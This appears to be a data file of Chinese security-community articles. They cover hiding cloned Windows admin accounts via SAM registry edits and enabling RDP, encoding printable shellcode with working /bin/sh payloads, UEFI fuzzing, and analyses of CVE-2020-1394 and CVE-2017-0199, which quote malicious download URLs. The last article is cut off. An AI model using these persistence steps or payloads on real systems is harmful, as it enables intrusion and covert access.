text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 0x00 前言
在之前的文章《渗透技巧——Windows系统远程桌面的多用户登录》介绍过Windows系统远程桌面的利用技巧，实现了非服务器版本Windows系统的多用户远程登录，而最近我和Evilcg一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合，会有什么利用技巧呢，本文将会一一介绍。
## 0x01 简介
本文将要介绍以下内容：
* 帐户隐藏的方法
* 编写脚本实现思路
* 结合远程桌面多用户登录的利用思路
## 0x02 帐户隐藏的方法
该方法在网上已有相关资料，本节只做简单复现
测试系统：`Win7x86`
### 1、对注册表赋予权限
默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改
现在需要为其添加管理员权限
右键-权限-选中Administrators，允许完全控制
如下图
重新启动注册表regedit.exe，获得对该键值的修改权限
### 2、新建特殊帐户
net user test$ 123456 /add
net localgroup administrators test$ /add
**注：**
用户名要以$结尾
添加后，该帐户可在一定条件下隐藏，输入`net user`无法获取，如下图
但是，在控制面板能够发现该帐户
如下图
3、导出注册表
在注册表`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names`下找到新建的帐户test$
获取默认类型为`0x3ea`
将注册表`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$`导出为`1.reg`
在注册表下能够找到对应类型名称的注册表项`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA`
如下图
右键将该键导出为2.reg，保存的文件信息如下图
默认情况下，管理员帐户Administrator对应的注册表键值为`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4`
同样，右键将该键导出为`3.reg`
将注册表项`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA`下键F的值替换为`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4`下键F的值，即2.reg中键F的值替换成3.reg中键F的值
替换后，如下图
### 4、命令行删除特殊帐户
`net user test$ /del`
### 5、导入reg文件
regedit /s 1.reg
regedit /s 2.reg
隐藏账户制做完成，控制面板不存在帐户test$
通过net user无法列出该帐户
计算机管理-本地用户和组-用户也无法列出该帐户
但可通过如下方式查看：
`net user test$`
如下图
无法通过`net user test$ /del`删除该用户，提示用户不属于此组，如下图
**删除方法：**
删除注册表`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\` 下对应帐户的键值(共有两处)
**注：**
工具HideAdmin能自动实现以上的创建和删除操作
## 0x03bb 编写脚本实现思路
采用powershell脚本实现的两种思路：
### 1、对注册表添加管理员帐户的编辑权限
使用regini注册ini文件为注册表及其子键赋予权限
**注：**
Powershell通过`Set-Acl`为注册表赋予权限，示例代码：
$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl
但不支持对子键的权限分配，因此不采用该方法
以下内容保存为a.ini:
HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]
**注：**
*代表枚举所有子键
1代表Administrators 完全访问
17代表System 完全访问
详细权限说明可通过cmd执行`regini`获取帮助，如下图
通过regini注册:
`regini a.ini`
Evilcg就是通过这种方式实现的，脚本地址：
<https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1>
**注：**
使用*需要system权限,但只把相关的列举出来，只需要管理员权限即可，例如：
HKEY_LOCAL_MACHINE\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]
### 2、直接获得System权限
我在之前的文章《渗透技巧——Token窃取与利用》介绍过通过token复制获得system权限的方法
所以，可以先获得System权限，进而拥有对注册表的编辑权限
简单的方式，通过`Invoke-TokenManipulation.ps1`，地址如下：
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1>
但我在测试时发现了一个bug，使用`Invoke-TokenManipulation -ImpersonateUser -Username "nt
authority\system"`无法将当前权限切换为System权限
但可以使用`Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt
authority\system"`新打开一个System权限的进程
接下来，就是编写脚本实现注册表的导出替换功能：
新建测试帐户
将注册表导出到temp目录，进行替换
删除特殊帐户
导入注册表文件
我的实现方法参照了Evilcg的最初始版本，做了细节上的优化，下载地址：
<https://github.com/3gstudent/Windows-User-Clone>
## 0x04 结合远程桌面多用户登录的利用思路
通过以上的介绍，可得出该方法的优点：
**通过克隆的方式能够继承原帐户的权限**
在利用上存在以下需要注意的问题：
### 1、复制管理员帐户Administrator
需要注意管理员帐户是否被禁用，如果被禁用，那么克隆出的隐藏帐户也是被禁用状态
### 2、复制已有帐户
在3389远程登录的利用上存在相同帐户的冲突关系
通过cmd开启本机的3389远程登录功能：
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
利用以上方法，克隆帐户a的权限，建立隐藏帐户aaa$
如果系统当前登录帐号为a，那么使用隐藏帐户aaa$登录的话，会系统被识别为帐户a，导致帐户a下线
### 3、新建帐户再复制
进一步，大胆的思考
新建管理员帐户b，克隆帐户b，建立隐藏账户bbb$
删除管理员帐户b,隐藏账户bbb$仍然有效
### 4、原帐户的维持
再进一步
克隆帐户a的权限，建立隐藏帐户aaa$
修改帐户a的密码，隐藏帐户aaa$仍然有效
## 0x05 防御
针对隐藏帐户的利用，查看注册表`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\`即可
当然，默认管理员权限无法查看，需要分配权限或是提升至Sytem权限
隐藏帐户的登录记录，可通过查看日志获取
## 0x06 小结
本文介绍了隐藏帐户的相关利用技巧，如果应用于远程桌面的多用户登录，隐蔽性会大大提高，站在防御的角度，分享出该利用方法，帮助大家更好的认识和防御。
本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑：
<http://www.4hou.com/system/8314.html> | 社区文章 |
# 一次失败的CVE-2020-1394漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞背景
最近微软更新榜上RPC和COM类型的相关的内存破坏类漏洞比较多，目前也在研究，但是一直研究了一个多月也没挖到。然后想到不如先自己去补丁对比看看都有哪些类型的错误，后续自己也可以找找相似的点，可惜现在微软对于这类漏洞不给予赏金了，不过混个CVE也是极好的。
最终选取了CVE-2020-1394这个漏洞去研究下，这个漏洞由360的漏洞挖掘机Peng神发现。
## 漏洞分析
通过windows 7月补丁公告看到这个漏洞是 Windows Geolocation Framework这个服务造成的。
那么从什么地方入手呢？我们可以通过oleview去搜索local service相关的服务。可以搜索到相关的服务。
最终经过一系列排查发现LocationFramework.dll这个库里面的函数做了相应的修改，也比较符合最近RPC函数内存破坏类的一些特征。
通过IDA的补丁对比发现有6处函数修改，都是一些put和get类的函数，猜想这是一个竞争条件引起的漏洞。
由于函数不是很多，我们看下这些函数补丁前后对比的变化。
**补丁前**
**补丁后**
**补丁前**
**补丁后**
**补丁前**
**补丁后**
**补丁前**
**补丁后**
经过观察上面的那些函数虽然修补了，但是没发现存在什么问题，应该是顺手修补的。来看下最后关键的几个函数。具体补丁前后就不对比了，反正是加锁，防止竞争条件。
跟踪到ATL::AtlComPtrAssign函数里面，可以看到如下代码
CVisitInformation::get_PositionInfo函数代码
看到上面的release，基本上可以确定这是一个竞争条件导致的UAF漏洞了。由此可以确定这个问题所产生的原因了，因为put释放，然后get中引用而导致产生的UAF问题。由于这里面PoC构造有点问题，最终也没复现出漏洞。原因是这个接口无法直接调用，需要通过其他接口去调用，但是其他接口传入一个结构体，最终卡在结构体上面，问Peng神要PoC想复现下漏洞，但是Peng神也找不到了，就此作罢。
## 总结
这是一个竞争条件造成的UAF问题，最终没有构造出PoC真是一个小小的遗憾，如果有人能有PoC也发我一份，学习下。本人刚刚接触RPC和COM漏洞，能力有限，如有错误请斧正。 | 社区文章 |
有时候程序会对我们的payload进行一些可打印检查，比如进行 utf-8 编码等，这时候一般的 shellcode 是无法绕过检查的，这时候就需要我们对
shellcode 进行编码。
通过对网上资料的总结，找到了两种比较好的编码方法。
## x86编码
`x86编码`的话用`msf`内置的`encoder`就行了。
ex@Ex:~$ msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
但是现在（2019-07-13）`msf`中还没有`x64`的`alpha_upper`编码方式。
### 使用方法
使用`msf`时，可以用内置的shellcode，其命令如下：
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
> BufferRegister指的是指向shellcode的寄存器的值
如果不声明BufferRegister的话，生成的shellcode会有额外的几条指令来确定shellcode的位置，而那几条额外的指令却并不是可打印字符。
其结果如下所示：
ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 155 (iteration=0)
x86/alpha_upper chosen with final size 155
Payload size: 155 bytes
Final size of python file: 750 bytes
buf = ""
buf += "\x89\xe7\xda\xd1\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x32\x4a\x44\x4b\x36\x38\x4a\x39\x56\x32\x33"
buf += "\x56\x45\x38\x56\x4d\x53\x53\x4d\x59\x4d\x37\x35\x38"
buf += "\x56\x4f\x32\x53\x52\x48\x53\x30\x55\x38\x46\x4f\x53"
buf += "\x52\x35\x39\x32\x4e\x4b\x39\x4d\x33\x36\x32\x5a\x48"
buf += "\x44\x48\x53\x30\x53\x30\x35\x50\x36\x4f\x42\x42\x42"
buf += "\x49\x52\x4e\x46\x4f\x54\x33\x35\x38\x43\x30\x31\x47"
buf += "\x36\x33\x4b\x39\x4b\x51\x58\x4d\x4d\x50\x41\x41"
第二种，我们可以用`msf`来编码自己写的shellcode，其命令如下：
cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
其运行结果如下：
ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 103 (iteration=0)
x86/alpha_upper chosen with final size 103
Payload size: 103 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
## x64编码
对于`x64`的shellcode进行编码，Github上的 <https://github.com/ecx86/shellcode_encoder>
是很不错的，和`msf`上的工具一样，都是要确定shellcode的地址才行。
其命令如下：
python2 main.py shellcode rax+29
运行结果如下：
ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode
00000000 48 b8 2f 62 69 6e 2f 73 68 00 50 48 89 e7 48 31 |H./bin/sh.PH..H1|
00000010 f6 48 f7 e6 b8 3b 00 00 00 0f 05 |.H...;.....|
0000001b
ex@Ex:~/test/shellcode_encoder$ python2 main.py shellcode rax+29
Encoding stage2
488b0432 => 4863343a31343a53582d402874332d5020605f35383c2f5f505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
480faf44 => 4863343a31343a53582d713b40412d704520413557703039505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
32084889 => 4863343a31343a53582d244874202d5f606c20354f5f5736505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
043a83c7 => 4863343a31343a53582d402233402d41602020357b472f58505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
0883c610 => 4863343a31343a53582d402646612d502220413578345f4d505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
85c075e8 => 4863343a31343a53582d202022202d20407e4035455f2a77505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
Multiply-encoding stage3
48b82f62696e2f73 => 413553575a25252e 483e23646d6e2b73
6800504889e74831 => 415462524c61643a 684654484b634c35
f648f7e6b83b0000 => 4163795c343a7931 7649363a204f3a3b
000f059090909090 => 3c3b77625b273220 40707d593b5c7463
Assembling jump at +408
Encoding preamble for rdx <- rax+29
PPTAYAXVI31VXXXf-cof-@Hf-@HPZ
Original length: 27
Encoded length: 476
Preamble length: 29
Total length: 505
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
## 举例
### printable.c
// x86: gcc -m32 printable.c -o printable32
// x64: gcc printable.c -o printable64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
int is_printable(char *s, int length)
{
int i;
for (i = 0; i < length; i ++)
{
if (s[i] <= 31 || s[i] == 127)
{
return 0;
}
}
return 1;
}
int main()
{
char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int tail = read(0, buf, 0x1000);
alarm(60);
if (buf[tail - 1] == '\n')
{
buf[tail - 1] = '\0';
tail--;
}
if (!is_printable(buf, tail))
{
puts("It must be a printable string!");
exit(-1);
}
asm("call *%0" ::"r"(buf));
return 0;
}
在这个程序中，正常的 shellcode 会被直接绊住，所以就可以利用上面编码过的shellcode。
其结果如下：
ex@Ex:~/test$ file printable32
printable32: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6bbd4307de7e93dcda81bef0f16617415b14ec17, not stripped
ex@Ex:~/test$ ./printable32
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ exit
ex@Ex:~/test$ file printable64
printable64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9d51fb0464f69bae2eb982d538eaee094d5b501b, not stripped
ex@Ex:~/test$ ./printable64
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX- " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ | 社区文章 |
# 从UEFI模块的动态仿真到覆盖率导向的UEFI固件模糊测试（三）
|
##### 译文声明
本文是翻译文章，文章原作者 Assaf Carlsbad，文章来源：sentinelone.com
原文地址：<https://labs.sentinelone.com/moving-from-dynamic-emulation-of-uefi-modules-to-coverage-guided-fuzzing-of-uefi-firmware/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者详细介绍覆盖率导向的UEFI固件模糊测试技术。
在本文上一部分中，我们为读者介绍内存池Sanitizer，接下来，我们将为读者演示如何检测未初始化的内存泄露。
## 检测未初始化的内存泄露情况
在搜索与NVRAM变量有大量交互的UEFI驱动程序时，我们意外地在某个模块中发现了一个看起来很奇怪的函数。在使用efiXplorer对其进行注释后，反编译后的伪代码如下所示：
我们来仔细分析这个函数，看看它到底做了些什么：
1. 首先（1），它在栈上分配了一个大小为4122字节的大型缓冲区。同时，这个缓冲区并没有初始化为零，所以，它目前存放的是之前函数调用的遗留数据。
2. 之后(2)，一个名为DataSize的变量被初始化为4122，也就是堆栈缓冲区的大小。然后，驱动程序调用GetVariable()服务，将一个名为CpuSetup的变量的内容读入栈缓冲区。结果，DataSize将被修改为反映从NVRAM中读取的实际字节数。
3. 在进行一些其他无关紧要的操作后，它会对堆栈缓冲区的字节0x5A2与2的值进行比较（3）。
4. 如果比较结果为真，则将修改后的堆栈缓冲区写回CpuSetup NVRAM变量（4）。注意，在写入时，驱动程序传递了一个4122的硬编码值作为缓冲区的大小。
就像我们在上一节说的，我们的假设是NVRAM变量至少可以被攻击者部分控制。一个有趣的问题是，如果我们将CpuSetup设置为短于4122字节的blob会发生什么。在这种情况下，我们可以清楚地看到，即使在调用(2)中的GetVariable()之后，堆栈缓冲区仍然会包含一些未初始化的字节。如果除此之外，我们还将字节0x5A2设置为等于2，那么这些未初始化的字节将作为处理(4)中SetVariable()调用的一部分写回NVRAM。由于NVRAM变量可以从操作系统中进行查询，所以使用这样的技术时，理论上我们可以公开最多4122
– 1442（0x5A2）=2680字节未初始化的栈内存。
我们很难相信这个特殊的漏洞可以在现实世界中被利用，因为我们怀疑有太多的东西依赖于CpuSetup的全部值，所以它不能被攻击者随意截断。然而，在Qiling提供的一个更加受控的环境下，我们可以设法将其用于PoC。为了达到这个目的，我们使用了一个可识别的标记字节在堆栈中下毒，这样的话，当这些标记字节被写回CpuSetup时，我们就能够发现它们的踪迹。读者可以在这里观看一段记录我们攻击过程的短视频。
虽然这个案例不具有现实的可利用性，但它向我们证明了NVRAM变量不仅可以作为攻击载体，而且还可以作为数据外泄的通道。根据特定的应用，泄露的数据可能是高度敏感的，或者是对攻击者非常有价值的，可用来利用其他漏洞或绕过平台的安全缓解措施（我们甚至可以想到用这种方式泄露SMRAM内存的SMM驱动程序）。总而言之，这个案例说服我们开始寻找自动检测此类信息泄露的方法。但是，在实践中如何才能做到这一点呢？
答案是，进行污点分析。从字面上来讲，污点分析的目的被卡耐基梅隆大学的研究人员定义为获得“跟踪源和汇之间的信息流的能力。任何程序值，如果其计算依赖于来自污点源的数据，则被认为是受污染的（……）。任何其他值被认为是未受污染的(……)。污点策略……旨在准确地了解程序执行时污点如何流动，什么样的操作会引入新的污点，以及需要对污点值进行什么样的检查。”
在典型的安全研究中，污点分析通常应用于用户控制的值，目的是发现程序的哪些部分可以被攻击者影响，以及影响的程度。在这里，我们将以一种非常规的方式来进行污点分析。我们不会污染未初始化的内存，而是会污染未初始化的内存并进行跟踪，以期最终将其暴露给NVRAM。
尽管从头开始构建x86架构的简单污点引擎并不是什么难事，但我们更喜欢使用更值得信赖的现成解决方案。在选择使用哪种污点引擎时，最突出的竞争者毫无疑问是Jonathan
Salwan的Triton。当然，其他针对x86架构的引擎也有一些，并且各有其优点和缺点，但最终我们决定选择Triton，因为它比大多数引擎更适合Qiling。
## 实验：使用Triton进行污点分析
为了展示Triton的污点分析能力，我们将进行一些小型的概念验证演示。如果您认为自己已经有足够的污点分析实践经验，可以随意跳过这部分。要进行实验，请遵循以下步骤：
1. 克隆、构建并安装Triton。为了确保Triton已被正确安装，请打开一个IPython shell并键入import triton，如果一切正常，说明安装成功了。
2. 初始化一个TritonContext对象，具体如下所示：
3. 为了完成演示，让我们污染一个通用寄存器，比如说rcx寄存器。
5. 现在，让我们处理一些x64指令，看看污点传播的情况。我们将使用一个简单的mov rax, rcx 指令，并期望污点会从一个寄存器传播到另一个寄存器。
6. 一旦rax寄存器被污染，我们就可以继续处理一些其他指令，很可能是那些执行内存存储的指令。另外，请注意rax寄存器的污染是如何隐式污染其所有子寄存器（如eax, ax寄存器等）的。
## 未初始化内存的来源：
和许多其他环境一样，UEFI中未初始化的内存主要来自两个方面：
1. 内存池：正如第二篇文章提到的，内存池分配器的主要接口是一个名为AllocatePool()的引导服务，出于性能的考虑，它不会将缓冲区的内容初始化为零值。EDK2是UEFI的参考实现，它包含了一些更高级别的函数，比如AllocateZeroPool，并将其作为自己MemoryAllocationLib的一部分。然而，UEFI驱动程序可以（并且经常这样做）直接使用内存池相关的服务。
为了跟踪未初始化的内存池，我们在AllocatePool()上放置了一个post-op hook，并对缓冲区的地址范围进行了污染。
图12 AllocatePool()的污点传播
2. 栈缓冲区：正如前面的例子所展示的，除非程序员明确初始化或者使用了InitAll等编译器标志，否则所有的栈缓冲区基本上都是未初始化的。为了污染栈内存，我们可以使用Qiling的hook_code函数来注册一个回调函数，这个回调函数针对每一条指令进行调用。通过该回调函数，我们可以使用Capstone引擎等反汇编程序库对指令进行反汇编和剖析。
基本上，为了检测未初始化堆栈缓冲区的“创建”，我们需要识别以固定字节数递减堆栈指针（x64平台中的rsp）的指令。通常，这些指令的形式是：sub rsp,
imm，尽管我们注意到有时GCC会输出add rsp,
-imm这样的代码。为了识别这两种情况，我们创建了一个名为is_rsp_decrement的小型实用函数，这里给出了这个函数。这段代码非常简单，这里就不做解释了。
图13 识别未初始化的栈缓冲区
遇到这样的指令并确定了递减量后，我们可以简单地将当前rsp和rsp-decrement之间的堆栈中的所有数据全部污染：
图14 我们使用per-instruction hook来污染未初始化的堆栈内存
最后一个难题是实际检查未初始化的内存是否被泄露。为此，我们在SetVariable()上放置了另一个post-op
hook，然后检测数据缓冲区以查看其是否包含至少一个被污染的字节。如果是的话，我们会故意使该进程崩溃，以通知fuzzer刚刚发现了潜在的信息泄漏。
图15 将SetVariable()调用用作触发器来检查是否有污染（即未初始化）的数据将被泄露
## 小结
在本文中，我们为读者讲解了如何检测未初始化的内存泄露，接下来，我们将为读者详细介绍Efi-Fuzz与NotMyUefiFault方面的知识。
**（未完待续）** | 社区文章 |
# 【漏洞分析】CVE-2017-0199：分析 Microsoft Office RTF 漏洞
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
FireEye最近检测到利用CVE-2017-0199安全漏洞的恶意Microsoft Office
RTF文档，要知道CVE-2017-0199可是此前尚未公开的漏洞。当用户打开包含该漏洞利用代码的文档时，恶意代码就会下载并执行包含PowerShell命令的Visual
Basic脚本。 FireEye已经发现了一些通过CVE-2017-0199漏洞下载并执行各种臭名昭著的恶意软件系列的有效载荷的Office文档。
FireEye与Microsoft分享了该漏洞的详细信息，并通过协调，根据Microsoft公司发布相应的补丁程序的时间来选择该漏洞的公开披露时机，具体情况读者可以从[这里](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)找到。
在该漏洞的补丁发布之前，该漏洞的利用代码能够绕过大多数安全措施；然而，FireEye电子邮件和网络产品仍然检测到了相关的恶意文件。
FireEye建议Microsoft
Office用户从[Microsoft下载安装相应的补丁程序](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)。
**攻击场景**
攻击的具体方式如下所示：
1\. 攻击者通过电子邮件向目标用户发送含有OLE2嵌入式链接对象的Microsoft Word文档
2\. 当用户打开文档时，winword.exe将会向远程服务器发出HTTP请求，以索取恶意HTA文件
3\. 服务器返回的文件是一个带有嵌入式恶意脚本的假RTF文件
4\. Winword.exe通过COM对象查找application / hta的文件处理程序，从而导致Microsoft
HTA应用程序（mshta.exe）加载并执行恶意脚本
根据我们之前发现的两个[文档](https://www.fireeye.com/blog/threat-research/2017/04/acknowledgement_ofa.html)来看，其恶意脚本将终止winword.exe进程，下载额外的有效载荷，并加载诱饵文件。之所以要终止原始的winword.exe进程，是为了掩盖OLE2link生成的用户提示。该提示具体如图1所示。
图1：Visual Basic脚本隐藏的用户提示
**文件1——(MD5: 5ebfd13250dd0408e3de594e419f9e01)**
对于FireEye发现的第一个恶意文件来说，攻击过程分为三个阶段。
首先，嵌入的OLE2链接对象会令winword.exe通过以下URL下载第一阶段的恶意HTA文件：
http[:]//46.102.152[.]129/template.doc
下载之后，这个恶意的HTA文件将由“application / hta”处理程序进行处理。在图2中高亮显示的行展示了其第一次下载，其后是附加的恶意有效载荷。
图2：实际攻击情形
一旦下载完成，模板文件将被存储在用户的临时Internet文件中，并将其命名为[？] .hta，其中[？]是在运行时才被确定的。
**逻辑错误**
Mshta.exe程序负责处理Content-Type为“application / hta”的文件，解析文件内容并执行脚本。
图3展示的是winword.exe正在查询“application / hta”处理程序的CLSID的注册表值。
图3：Winword查询注册表值
Winword.exe向DCOMLaunch服务发出请求，这将导致托管DCOMLaunch的svchost.exe进程执行mshta.exe。之后，Mshta.exe就会执行嵌入在恶意HTA文档中的脚本。
图4显示了第一阶段下载的、经过反混淆处理后的VBScript。
图4：第一个文件，即第一阶段的VBScript
在图4中所示的脚本将执行以下恶意操作：
1\. 使用taskkill.exe终止winword.exe进程，以隐藏图1所示的提示。
2\. 从http [:]//www.modani [.]
com/media/wysiwyg/ww.vbs下载一个VBScript文件，并将其保存到％appdata％MicrosoftWindowsmaintenance.vbs文件中
3\. 从http [:]//www.modani [.]
